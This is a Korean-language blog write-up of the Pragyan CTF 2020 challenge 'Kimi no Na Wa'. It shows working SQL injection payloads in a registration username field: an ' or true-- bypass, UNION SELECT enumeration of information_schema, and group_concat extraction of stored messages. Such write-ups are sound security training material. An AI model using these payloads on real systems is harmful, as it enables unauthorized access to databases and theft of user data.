ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pragyan CTF] Kimi no Na Wa
    CTF Writeup 2020. 2. 24. 17:29

    [Kimi no Na Wa] http://ctf.pragyan.org:12000/index.php

     

    Pragyan CTF

    Pragyan CTF Login

    ctf.pragyan.org:12000

     

    Pandora 문제와 똑같이 로그인, 회원가입 폼이 주어져 있다.

    회원가입 후 로그인 해보면 Pandora 문제와 같이 profile.php 페이지로 success 파라미터와 함께 접근된다.

     

    success 파라미터에 SQL Injection을 시도해 보았지만, 아무런 반응이 일어나지 않는다.

    로그인, 회원가입 폼에 SQL Injection 을 시도해 보았다.

     

    아무런 반응이 일어나는 것 같지 않았지만, ' or true-- 로 가입 후 로그인하였다.

     

    결과를 보니, query 문이 주어지고 SQL Injection이 가능하다는 것을 알 수 있다.

    Injection Pointusername이다.

     

    아래 구문을 이용하여 테이블을 알아냈다.

    ' union select table_name from information_schema.tables-- 

     

    테이블은 kimimsg, kimiusers 가 존재한다.

     

    테이블의 컬럼 명은 아래와 같은 구문으로 알아낼 수 있다.

    ' union select column_name from information_schema.columns where table_name='테이블명'-- 

     

    [kimimsg] username, message, reciever
    [kimiusers] username, password

     

    알아낸 테이블과 컬럼을 이용하여 값을 출력해보았다.

    ' union select message from kimimsg--

     

    kimimsg 테이블의 message 컬럼의 값을 출력하면 flag 값인 것 처럼 출력된다.

    p_ctf{new0b51}

    하지만, 해당 값을 인증해 보면 잘못된 flag 이다.

     

    문제를 다시 제대로 읽어보자.

     

    한번에 모든 것을 배울 수 없다. 뭔가 flag를 한번에 볼 수 없다는 뜻인 것 같다.

    ' or true-- 구문에서 나온 결과 값의 갯수는 23개 이다.

     

    출력되지는 않았지만 flag의 길이는 23으로 추측할 수 있다.

     

    중복된 값이 제거되어 출력되는 것인지 알아보기 위해 다음 구문을 입력해 보았다.

    (union과 union all의 차이는 중복 제거 유무의 차이이다.)

    ' union all select message from kimimsg-- 

     

    23글자의 flag를 얻을 수 있었다.

     

    flag 값을 깔끔하게 보기 위해서는 문자열 합쳐주는 group_concat을 이용할 수 있다.

    ' union select group_concat(message separator '') from kimimsg--

     

    'CTF Writeup' 카테고리의 다른 글

    [BSidesSF 2020 CTF] recipes  (0) 2020.02.26
    [BSidesSF 2020 CTF] had-a-bad-day  (0) 2020.02.25
    [Pragyan CTF] Pandora  (0) 2020.02.24

    댓글

@Jo Grini's Blog